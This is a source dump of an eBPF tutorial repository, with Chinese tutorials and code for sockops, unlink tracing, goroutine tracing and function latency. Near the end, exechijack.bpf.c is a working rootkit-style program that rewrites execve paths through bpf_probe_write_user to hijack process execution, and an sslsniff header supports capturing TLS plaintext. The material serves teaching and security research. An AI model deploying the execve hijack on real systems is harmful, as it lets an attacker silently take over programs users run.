/src/29-sockops/bpf_sockmap.h: -------------------------------------------------------------------------------- 1 | #include "vmlinux.h" 2 | #include 3 | #include 4 | 5 | #define LOCALHOST_IPV4 16777343 6 | 7 | struct sock_key { 8 | __u32 sip; 9 | __u32 dip; 10 | __u32 sport; 11 | __u32 dport; 12 | __u32 family; 13 | }; 14 | 15 | struct { 16 | __uint(type, BPF_MAP_TYPE_SOCKHASH); 17 | __uint(max_entries, 65535); 18 | __type(key, struct sock_key); 19 | __type(value, int); 20 | } sock_ops_map SEC(".maps"); -------------------------------------------------------------------------------- /src/29-sockops/envoy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM envoyproxy/envoy:latest 2 | COPY envoy.yaml /etc/envoy/envoy.yaml 3 | EXPOSE 9901 4 | -------------------------------------------------------------------------------- /src/29-sockops/envoy/envoy.yaml: -------------------------------------------------------------------------------- 1 | admin: 2 | access_log_path: /tmp/admin_access.log 3 | address: 4 | socket_address: 5 | protocol: TCP 6 | address: 0.0.0.0 7 | port_value: 9901 8 | static_resources: 9 | listeners: 10 | - name: iperf3-listener 11 | address: 12 | socket_address: 13 | protocol: TCP 14 | address: 0.0.0.0 15 | port_value: 10000 16 | filter_chains: 17 | - filters: 18 | - name: envoy.tcp_proxy 19 | config: 20 | stat_prefix: iperf3-listener 21 | cluster: iperf3_server 22 | clusters: 23 | - name: iperf3_server 24 | connect_timeout: 1.0s 25 | type: static 26 | lb_policy: ROUND_ROBIN 27 | hosts: 28 | - socket_address: 29 | address: 127.0.0.1 30 | port_value: 5201 31 | -------------------------------------------------------------------------------- /src/29-sockops/load.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -x 3 | set -e 4 | 5 | sudo mount -t bpf bpf /sys/fs/bpf/ 6 | 7 | # check if old program already loaded 8 | if [ -e "/sys/fs/bpf/bpf_sockops" ]; then 9 | echo ">>> bpf_sockops already loaded, uninstalling..." 10 | ./unload.sh 11 | echo ">>> old program already deleted..." 12 | fi 13 | 14 | # load and attach sock_ops program 15 | sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/ 16 | sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" 17 | 18 | # load and attach sk_msg program 19 | sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map" 20 | sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map 21 | -------------------------------------------------------------------------------- /src/29-sockops/merbridge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/29-sockops/merbridge.png -------------------------------------------------------------------------------- /src/29-sockops/trace_bpf_output.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | sudo cat /sys/kernel/debug/tracing/trace_pipe -------------------------------------------------------------------------------- /src/29-sockops/trace_lo_traffic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 5001 is the default port for iperf server 4 | tcpdump -i lo port 5001 -------------------------------------------------------------------------------- /src/29-sockops/unload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -x 3 | 4 | 5 | # detach and clear the bpf programs 6 | sudo bpftool cgroup detach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" && \ 7 | bpftool prog detach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map && \ 8 | sudo unlink /sys/fs/bpf/bpf_sockops && \ 9 | sudo unlink /sys/fs/bpf/sock_ops_map && \ 10 | sudo unlink /sys/fs/bpf/bpf_redir 11 | 12 | -------------------------------------------------------------------------------- /src/3-fentry-unlink/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | -------------------------------------------------------------------------------- /src/3-fentry-unlink/README.md: -------------------------------------------------------------------------------- 1 | # eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用 2 | 3 | eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 4 | 5 | 本文是 eBPF 入门开发实践教程的第三篇,在 eBPF 中使用 fentry 捕获 unlink 系统调用。 6 | 7 | ## Fentry 8 | 9 | fentry(function entry)和 fexit(function exit)是 eBPF(扩展的伯克利包过滤器)中的两种探针类型,用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 10 | 11 | 与 kprobes 相比,fentry 和 fexit 程序有更高的性能和可用性。在这个例子中,我们可以直接访问函数的指针参数,就像在普通的 C 代码中一样,而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于,fexit 程序可以访问函数的输入参数和返回值,而 kretprobe 只能访问返回值。从 5.5 内核开始,fentry 和 fexit 对 eBPF 程序可用。 12 | 13 | ```c 14 | #include "vmlinux.h" 15 | #include 16 | #include 17 | 18 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 19 | 20 | SEC("fentry/do_unlinkat") 21 | int BPF_PROG(do_unlinkat, int dfd, struct filename *name) 22 | { 23 | pid_t pid; 24 | 25 | pid = bpf_get_current_pid_tgid() >> 32; 26 | bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name); 27 | return 0; 28 | } 29 | 30 | SEC("fexit/do_unlinkat") 31 | int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) 32 | { 33 | pid_t pid; 34 | 35 | pid = bpf_get_current_pid_tgid() >> 32; 36 | bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret); 37 | return 0; 38 | } 39 | ``` 40 | 41 | 这段程序是用 C 语言编写的 eBPF(扩展的伯克利包过滤器)程序,它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 `do_unlinkat`。在这个教程中,我们将以这段程序作为示例,让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 42 | 43 | 程序包含以下部分: 44 | 45 | 1. 包含头文件:包括 vmlinux.h(用于访问内核数据结构)、bpf/bpf_helpers.h(包含eBPF帮助函数)、bpf/bpf_tracing.h(用于eBPF跟踪相关功能)。 46 | 2. 定义许可证:这里定义了一个名为 `LICENSE` 的字符数组,包含许可证信息“Dual BSD/GPL”。 47 | 3. 定义 fentry 探针:我们定义了一个名为 `BPF_PROG(do_unlinkat)` 的 fentry 探针,该探针在 `do_unlinkat` 函数的入口处被触发。这个探针获取当前进程的 PID(进程ID)并将其与文件名一起打印到内核日志。 48 | 4. 定义 fexit 探针:我们还定义了一个名为 `BPF_PROG(do_unlinkat_exit)` 的 fexit 探针,该探针在 `do_unlinkat` 函数的退出处被触发。与 fentry 探针类似,这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 49 | 50 | 通过这个示例,您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用,例如在本教程中的 unlink 系统调用。 51 | 52 | eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 53 | 54 | 编译运行上述代码: 55 | 56 | ```console 57 | $ ecc fentry-link.bpf.c 58 | Compiling bpf object... 59 | Packing ebpf object and config into package.json... 60 | $ sudo ecli run package.json 61 | Runing eBPF program... 62 | ``` 63 | 64 | 在另外一个窗口中: 65 | 66 | ```shell 67 | touch test_file 68 | rm test_file 69 | touch test_file2 70 | rm test_file2 71 | ``` 72 | 73 | 运行这段程序后,可以通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件来查看 eBPF 程序的输出: 74 | 75 | ```console 76 | $ sudo cat /sys/kernel/debug/tracing/trace_pipe 77 | rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file 78 | rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 79 | rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 80 | rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0 81 | ``` 82 | 83 | ## 总结 84 | 85 | 这段程序是一个 eBPF 程序,通过使用 fentry 和 fexit 捕获 `do_unlinkat` 和 `do_unlinkat_exit` 函数,并通过使用 `bpf_get_current_pid_tgid` 和 `bpf_printk` 函数获取调用 do_unlinkat 的进程的 ID、文件名和返回值,并在内核日志中打印出来。 86 | 87 | 编译这个程序可以使用 ecc 工具,运行时可以使用 ecli 命令,并通过查看 `/sys/kernel/debug/tracing/trace_pipe` 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: 88 | 89 | 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 90 | -------------------------------------------------------------------------------- /src/3-fentry-unlink/fentry-link.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause 2 | /* Copyright (c) 2021 Sartura */ 3 | #define BPF_NO_GLOBAL_DATA 4 | #include "vmlinux.h" 5 | #include 6 | #include 7 | 8 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 9 | 10 | SEC("fentry/do_unlinkat") 11 | int BPF_PROG(do_unlinkat, int dfd, struct filename *name) 12 | { 13 | pid_t pid; 14 | 15 | pid = bpf_get_current_pid_tgid() >> 32; 16 | bpf_printk("fentry: pid = %d, filename = %s\n", pid, name->name); 17 | return 0; 18 | } 19 | 20 | SEC("fexit/do_unlinkat") 21 | int BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret) 22 | { 23 | pid_t pid; 24 | 25 | pid = bpf_get_current_pid_tgid() >> 32; 26 | bpf_printk("fexit: pid = %d, filename = %s, ret = %ld\n", pid, name->name, ret); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /src/30-sslsniff/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | openssl 10 | -------------------------------------------------------------------------------- /src/30-sslsniff/sslsniff.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | // Copyright (c) 2023 Yusheng Zheng 3 | // 4 | // Based on sslsniff from BCC by Adrian Lopez & Mark Drayton. 5 | // 15-Aug-2023 Yusheng Zheng Created this. 6 | #ifndef __SSLSNIFF_H 7 | #define __SSLSNIFF_H 8 | 9 | #define MAX_BUF_SIZE 8192 10 | #define TASK_COMM_LEN 16 11 | 12 | struct probe_SSL_data_t { 13 | __u64 timestamp_ns; 14 | __u64 delta_ns; 15 | __u32 pid; 16 | __u32 tid; 17 | __u32 uid; 18 | __u32 len; 19 | int buf_filled; 20 | int rw; 21 | char comm[TASK_COMM_LEN]; 22 | __u8 buf[MAX_BUF_SIZE]; 23 | int is_handshake; 24 | }; 25 | 26 | #endif /* __SSLSNIFF_H */ 27 | -------------------------------------------------------------------------------- /src/31-goroutine/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | goroutine 9 | -------------------------------------------------------------------------------- /src/31-goroutine/README.md: -------------------------------------------------------------------------------- 1 | # eBPF 实践教程:使用 eBPF 跟踪 Go 协程状态 2 | 3 | Go 是 Google 创建的一种广受欢迎的编程语言,以其强大的并发模型而著称。Go 语言的一个重要特点是协程(goroutine)的使用——这些协程是轻量级、由 Go 运行时管理的线程,使得编写并发程序变得非常简单。然而,在实时环境中理解和跟踪这些协程的执行状态,尤其是在调试复杂系统时,可能会面临很大的挑战。 4 | 5 | 这时我们可以利用 eBPF(扩展伯克利包过滤器)技术。eBPF 最初设计用于网络数据包过滤,但随着时间的推移,eBPF 已经发展成为一个强大的工具,用于跟踪和监控系统行为。通过使用 eBPF,我们可以深入到内核,收集有关 Go 程序运行时行为的数据,包括协程的状态。本文将探讨如何使用 eBPF 跟踪 Go 程序中的协程状态转换。 6 | 7 | ## 背景:协程与 eBPF 8 | 9 | ### 协程 10 | 11 | 协程是 Go 语言的核心特性之一,它提供了一种简单而高效的并发处理方式。与传统的线程不同,协程由 Go 运行时管理,而不是由操作系统管理,因此更加轻量化。协程可以在以下几种状态之间进行转换: 12 | 13 | - **RUNNABLE(可运行)**:协程已准备好运行。 14 | - **RUNNING(运行中)**:协程正在执行中。 15 | - **WAITING(等待)**:协程正在等待某个事件(如 I/O 或定时器)。 16 | - **DEAD(终止)**:协程执行完毕并已终止。 17 | 18 | 理解这些状态以及协程之间的状态转换对于诊断性能问题、确保 Go 程序的高效运行至关重要。 19 | 20 | ### eBPF 21 | 22 | eBPF 是一种强大的技术,它允许开发人员在不修改内核源代码或加载内核模块的情况下,在 Linux 内核中运行自定义程序。eBPF 最初用于数据包过滤,但现在已扩展为一种多功能工具,广泛应用于性能监控、安全和调试。 23 | 24 | 通过编写 eBPF 程序,开发人员可以跟踪各种系统事件,包括系统调用、网络事件和进程执行。在本文中,我们将重点介绍如何使用 eBPF 跟踪 Go 程序中协程的状态转换。 25 | 26 | ## eBPF 内核代码 27 | 28 | 现在,让我们深入探讨实现该跟踪功能的 eBPF 内核代码。 29 | 30 | ```c 31 | #include 32 | #include "goroutine.h" 33 | #include 34 | #include 35 | #include 36 | 37 | #define GOID_OFFSET 0x98 38 | 39 | struct { 40 | __uint(type, BPF_MAP_TYPE_RINGBUF); 41 | __uint(max_entries, 256 * 1024); 42 | } rb SEC(".maps"); 43 | 44 | SEC("uprobe/./go-server-http/main:runtime.casgstatus") 45 | int uprobe_runtime_casgstatus(struct pt_regs *ctx) { 46 | int newval = ctx->cx; 47 | void *gp = ctx->ax; 48 | struct goroutine_execute_data *data; 49 | u64 goid; 50 | if (bpf_probe_read_user(&goid, sizeof(goid), gp + GOID_OFFSET) == 0) { 51 | data = bpf_ringbuf_reserve(&rb, sizeof(*data), 0); 52 | if (data) { 53 | u64 pid_tgid = bpf_get_current_pid_tgid(); 54 | data->pid = pid_tgid; 55 | data->tgid = pid_tgid >> 32; 56 | data->goid = goid; 57 | data->state = newval; 58 | bpf_ringbuf_submit(data, 0); 59 | } 60 | } 61 | return 0; 62 | } 63 | 64 | char LICENSE[] SEC("license") = "GPL"; 65 | ``` 66 | 67 | 1. **头文件**:代码首先包含了必要的头文件,如 `vmlinux.h`(提供内核定义)和 `bpf_helpers.h`(提供 eBPF 程序的辅助函数)。 68 | 2. **GOID_OFFSET**:`goid` 字段的偏移量被硬编码为 `0x98`,这是特定于所跟踪的 Go 版本和程序的。此偏移量在不同的 Go 版本或程序中可能有所不同。 69 | 3. **环形缓冲区映射**:定义了一个 BPF 环形缓冲区映射,用于存储协程的执行数据。这个缓冲区允许内核高效地将信息传递到用户空间。 70 | 4. **Uprobe**:该 eBPF 程序的核心是一个附加到 Go 程序中 `runtime.casgstatus` 函数的 uprobe(用户级探针)。该函数负责改变协程的状态,因此非常适合用来拦截和跟踪状态转换。 71 | 5. **读取协程 ID**:`bpf_probe_read_user` 函数从用户空间内存中读取协程 ID(`goid`),使用的是预定义的偏移量。 72 | 6. **提交数据**:如果成功读取了协程 ID,则数据会与进程 ID、线程组 ID 以及协程的新状态一起存储在环形缓冲区中。随后,这些数据会提交到用户空间以供分析。 73 | 74 | ## 运行程序 75 | 76 | 要运行此跟踪程序,请按照以下步骤操作: 77 | 78 | 1. **编译 eBPF 代码**:使用类似 `ecc`(eBPF 编译集合)这样的编译器编译 eBPF 程序,并生成一个可以由 eBPF 加载器加载的包。 79 | 80 | ```bash 81 | ecc goroutine.bpf.c goroutine.h 82 | ``` 83 | 84 | 2. **运行 eBPF 程序**:使用 eBPF 加载器运行编译后的 eBPF 程序。 85 | 86 | ```bash 87 | ecli-rs run package.json 88 | ``` 89 | 90 | 3. **输出**:程序将输出协程的状态转换及其 `goid`、`pid` 和 `tgid`。以下是一个示例输出: 91 | 92 | ```console 93 | TIME STATE GOID PID TGID 94 | 21:00:47 DEAD(6) 0 2542844 2542844 95 | 21:00:47 RUNNABLE(1) 0 2542844 2542844 96 | 21:00:47 RUNNING(2) 1 2542844 2542844 97 | 21:00:47 WAITING(4) 2 2542847 2542844 98 | ``` 99 | 100 | 完整代码可以在 找到。 101 | 102 | 如果你想了解更多关于 eBPF 的知识和实践,你可以访问我们的教程代码库 或网站 获取更多示例和完整教程。 103 | 104 | 内核模式 eBPF 运行时的 `Uprobe` 可能会带来较大的性能开销。在这种情况下,你也可以考虑使用用户模式的 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是基于 LLVM JIT/AOT 的用户模式 eBPF 运行时,它可以在用户模式下运行 eBPF 程序,并且在处理 `uprobe` 时比内核模式 eBPF 更快。 105 | 106 | ### 结论 107 | 108 | 使用 eBPF 跟踪协程状态可以深入了解 Go 程序的执行情况,尤其是在传统调试工具可能无法胜任的生产环境中。通过利用 eBPF,开发人员可以监控和诊断性能问题,确保 Go 应用程序高效运行。 109 | 110 | 请注意,本 eBPF 程序中使用的偏移量是特定于所跟踪的 Go 版本和程序的。随着 Go 的发展,这些偏移量可能会发生变化,需要对 eBPF 代码进行更新。 111 | 112 | 在未来的探索中,我们可以将这种方法扩展到跟踪 Go 程序或其他语言的其他方面,展示 eBPF 在现代软件开发中的多功能性和强大作用。 113 | -------------------------------------------------------------------------------- /src/31-goroutine/go-server-http/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/31-goroutine/go-server-http/main -------------------------------------------------------------------------------- /src/31-goroutine/go-server-http/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rand" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "os" 9 | "strconv" 10 | ) 11 | 12 | var http_body []byte 13 | 14 | func handler(w http.ResponseWriter, r *http.Request) { 15 | w.Write(http_body) 16 | } 17 | 18 | func main() { 19 | args := os.Args 20 | if len(args) > 1 { 21 | body_len, _ := strconv.ParseInt(args[1], 10, 64) 22 | http_body = make([]byte, body_len) 23 | rand.Read(http_body) 24 | fmt.Println("Body set to", body_len, "bytes of random stuff") 25 | } else { 26 | http_body = []byte("Hello,World!") 27 | } 28 | http.HandleFunc("/", handler) 29 | fmt.Println("Server started!") 30 | err := http.ListenAndServe(":447", nil) 31 | if err != nil { 32 | log.Fatalf("Failed to start server: %v", err) 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/31-goroutine/goroutine.bpf.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This code runs using bpf in the Linux kernel. 3 | * Copyright 2022- The Yunshan Networks Authors. 4 | * 5 | * Modify from https://github.com/deepflowio/deepflow 6 | * By Yusheng Zheng <1067852565@qq.com> 7 | * 8 | * This program is free software; you can redistribute it and/or 9 | * modify it under the terms of the GNU General Public License 10 | * as published by the Free Software Foundation; either version 2 11 | * of the License, or (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program; if not, write to the Free Software 20 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, 21 | * USA. 22 | * 23 | * SPDX-License-Identifier: GPL-2.0 24 | */ 25 | #include 26 | #include "goroutine.h" 27 | #include 28 | #include 29 | #include 30 | 31 | #define GOID_OFFSET 0x98 32 | 33 | struct { 34 | __uint(type, BPF_MAP_TYPE_RINGBUF); 35 | __uint(max_entries, 256 * 1024); 36 | } rb SEC(".maps"); 37 | 38 | SEC("uprobe/./go-server-http/main:runtime.casgstatus") 39 | int uprobe_runtime_casgstatus(struct pt_regs *ctx) { 40 | int newval = ctx->cx; 41 | void *gp = (void*)ctx->ax; 42 | struct goroutine_execute_data *data; 43 | u64 goid; 44 | if (bpf_probe_read_user(&goid, sizeof(goid), gp + GOID_OFFSET) == 0) { 45 | data = bpf_ringbuf_reserve(&rb, sizeof(*data), 0); 46 | if (data) { 47 | u64 pid_tgid = bpf_get_current_pid_tgid(); 48 | data->pid = pid_tgid; 49 | data->tgid = pid_tgid >> 32; 50 | data->goid = goid; 51 | data->state = newval; 52 | bpf_ringbuf_submit(data, 0); 53 | } 54 | } 55 | return 0; 56 | } 57 | 58 | char LICENSE[] SEC("license") = "GPL"; 59 | -------------------------------------------------------------------------------- /src/31-goroutine/goroutine.h: -------------------------------------------------------------------------------- 1 | #ifndef EBPF_EXAMPLE_GOROUTINE_H 2 | #define EBPF_EXAMPLE_GOROUTINE_H 3 | 4 | enum goroutine_state { 5 | IDLE, 6 | RUNNABLE, 7 | RUNNING, 8 | SYSCALL, 9 | WAITING, 10 | MORIBUND_UNUSED, 11 | DEAD, 12 | ENQUEUE_UNUSED, 13 | COPYSTACK, 14 | PREEMPTED, 15 | }; 16 | 17 | struct goroutine_execute_data { 18 | enum goroutine_state state; 19 | unsigned long goid; 20 | int pid; 21 | int tgid; 22 | }; 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/32-http2/README.md: -------------------------------------------------------------------------------- 1 | # func latency 2 | 3 | TODO: make it work 4 | 5 | from . 6 | -------------------------------------------------------------------------------- /src/33-funclatency/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | funclatency 9 | -------------------------------------------------------------------------------- /src/33-funclatency/bits.bpf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __BITS_BPF_H 3 | #define __BITS_BPF_H 4 | 5 | #define READ_ONCE(x) (*(volatile typeof(x) *)&(x)) 6 | #define WRITE_ONCE(x, val) ((*(volatile typeof(x) *)&(x)) = val) 7 | 8 | static __always_inline u64 log2(u32 v) 9 | { 10 | u32 shift, r; 11 | 12 | r = (v > 0xFFFF) << 4; v >>= r; 13 | shift = (v > 0xFF) << 3; v >>= shift; r |= shift; 14 | shift = (v > 0xF) << 2; v >>= shift; r |= shift; 15 | shift = (v > 0x3) << 1; v >>= shift; r |= shift; 16 | r |= (v >> 1); 17 | 18 | return r; 19 | } 20 | 21 | static __always_inline u64 log2l(u64 v) 22 | { 23 | u32 hi = v >> 32; 24 | 25 | if (hi) 26 | return log2(hi) + 32; 27 | else 28 | return log2(v); 29 | } 30 | 31 | #endif /* __BITS_BPF_H */ 32 | -------------------------------------------------------------------------------- /src/33-funclatency/funclatency.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* Copyright (c) 2021 Google LLC. */ 3 | #include "vmlinux.h" 4 | #include 5 | #include 6 | #include 7 | #include "funclatency.h" 8 | #include "bits.bpf.h" 9 | 10 | const volatile pid_t targ_tgid = 0; 11 | const volatile int units = 0; 12 | 13 | /* key: pid. value: start time */ 14 | struct { 15 | __uint(type, BPF_MAP_TYPE_HASH); 16 | __uint(max_entries, MAX_PIDS); 17 | __type(key, u32); 18 | __type(value, u64); 19 | } starts SEC(".maps"); 20 | 21 | __u32 hist[MAX_SLOTS] = {}; 22 | 23 | static void entry(void) 24 | { 25 | u64 id = bpf_get_current_pid_tgid(); 26 | u32 tgid = id >> 32; 27 | u32 pid = id; 28 | u64 nsec; 29 | 30 | if (targ_tgid && targ_tgid != tgid) 31 | return; 32 | nsec = bpf_ktime_get_ns(); 33 | bpf_map_update_elem(&starts, &pid, &nsec, BPF_ANY); 34 | } 35 | 36 | SEC("kprobe/dummy_kprobe") 37 | int BPF_KPROBE(dummy_kprobe) 38 | { 39 | entry(); 40 | return 0; 41 | } 42 | 43 | static void exit(void) 44 | { 45 | u64 *start; 46 | u64 nsec = bpf_ktime_get_ns(); 47 | u64 id = bpf_get_current_pid_tgid(); 48 | u32 pid = id; 49 | u64 slot, delta; 50 | 51 | start = bpf_map_lookup_elem(&starts, &pid); 52 | if (!start) 53 | return; 54 | 55 | delta = nsec - *start; 56 | 57 | switch (units) { 58 | case USEC: 59 | delta /= 1000; 60 | break; 61 | case MSEC: 62 | delta /= 1000000; 63 | break; 64 | } 65 | 66 | slot = log2l(delta); 67 | if (slot >= MAX_SLOTS) 68 | slot = MAX_SLOTS - 1; 69 | __sync_fetch_and_add(&hist[slot], 1); 70 | } 71 | 72 | SEC("kretprobe/dummy_kretprobe") 73 | int BPF_KRETPROBE(dummy_kretprobe) 74 | { 75 | exit(); 76 | return 0; 77 | } 78 | 79 | char LICENSE[] SEC("license") = "GPL"; 80 | -------------------------------------------------------------------------------- /src/33-funclatency/funclatency.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2020 Facebook */ 3 | #ifndef __BOOTSTRAP_H 4 | #define __BOOTSTRAP_H 5 | 6 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 7 | #pragma once 8 | 9 | #define MAX_PIDS 102400 10 | #define MAX_SLOTS 25 11 | 12 | enum units { 13 | NSEC, 14 | USEC, 15 | MSEC, 16 | }; 17 | 18 | #endif /* __BOOTSTRAP_H */ 19 | -------------------------------------------------------------------------------- /src/34-syscall/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | .output 10 | bpf-mocker 11 | victim 12 | victim2 13 | test.txt 14 | hijacked 15 | my_test.txt 16 | -------------------------------------------------------------------------------- /src/34-syscall/Makefile: -------------------------------------------------------------------------------- 1 | victim: victim.cpp 2 | g++ victim.cpp -o victim -------------------------------------------------------------------------------- /src/34-syscall/exechijack.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #include "vmlinux.h" 3 | #include 4 | #include 5 | #include 6 | #include "exechijack.h" 7 | 8 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 9 | 10 | // Ringbuffer Map to pass messages from kernel to user 11 | struct { 12 | __uint(type, BPF_MAP_TYPE_RINGBUF); 13 | __uint(max_entries, 256 * 1024); 14 | } rb SEC(".maps"); 15 | 16 | // Optional Target Parent PID 17 | const volatile int target_ppid = 0; 18 | 19 | SEC("tp/syscalls/sys_enter_execve") 20 | int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) 21 | { 22 | size_t pid_tgid = bpf_get_current_pid_tgid(); 23 | // Check if we're a process of interest 24 | if (target_ppid != 0) { 25 | struct task_struct *task = (struct task_struct *)bpf_get_current_task(); 26 | int ppid = BPF_CORE_READ(task, real_parent, tgid); 27 | if (ppid != target_ppid) { 28 | return 0; 29 | } 30 | } 31 | 32 | // Read in program from first arg of execve 33 | char prog_name[TASK_COMM_LEN]; 34 | char prog_name_orig[TASK_COMM_LEN]; 35 | __builtin_memset(prog_name, '\x00', TASK_COMM_LEN); 36 | bpf_probe_read_user(&prog_name, TASK_COMM_LEN, (void*)ctx->args[0]); 37 | bpf_probe_read_user(&prog_name_orig, TASK_COMM_LEN, (void*)ctx->args[0]); 38 | prog_name[TASK_COMM_LEN-1] = '\x00'; 39 | bpf_printk("[EXECVE_HIJACK] %s\n", prog_name); 40 | 41 | // Program can't be less than out two-char name 42 | if (prog_name[1] == '\x00') { 43 | bpf_printk("[EXECVE_HIJACK] program name too small\n"); 44 | return 0; 45 | } 46 | 47 | // Attempt to overwrite with hijacked binary path 48 | prog_name[0] = '/'; 49 | prog_name[1] = 'a'; 50 | for (int i = 2; i < TASK_COMM_LEN ; i++) { 51 | prog_name[i] = '\x00'; 52 | } 53 | long ret = bpf_probe_write_user((void*)ctx->args[0], &prog_name, 3); 54 | 55 | // Send an event 56 | struct event *e; 57 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 58 | if (e) { 59 | e->success = (ret == 0); 60 | e->pid = (pid_tgid >> 32); 61 | for (int i = 0; i < TASK_COMM_LEN; i++) { 62 | e->comm[i] = prog_name_orig[i]; 63 | } 64 | bpf_ringbuf_submit(e, 0); 65 | } 66 | 67 | return 0; 68 | } -------------------------------------------------------------------------------- /src/34-syscall/exechijack.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // Used when replacing text 6 | #define FILENAME_LEN_MAX 50 7 | #define TEXT_LEN_MAX 20 8 | 9 | // Simple message structure to get events from eBPF Programs 10 | // in the kernel to user spcae 11 | #define TASK_COMM_LEN 16 12 | struct event { 13 | int pid; 14 | char comm[TASK_COMM_LEN]; 15 | bool success; 16 | }; 17 | 18 | #endif // BAD_BPF_COMMON_H -------------------------------------------------------------------------------- /src/34-syscall/open_modify.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Copyright (c) 2019 Facebook 3 | // Copyright (c) 2020 Netflix 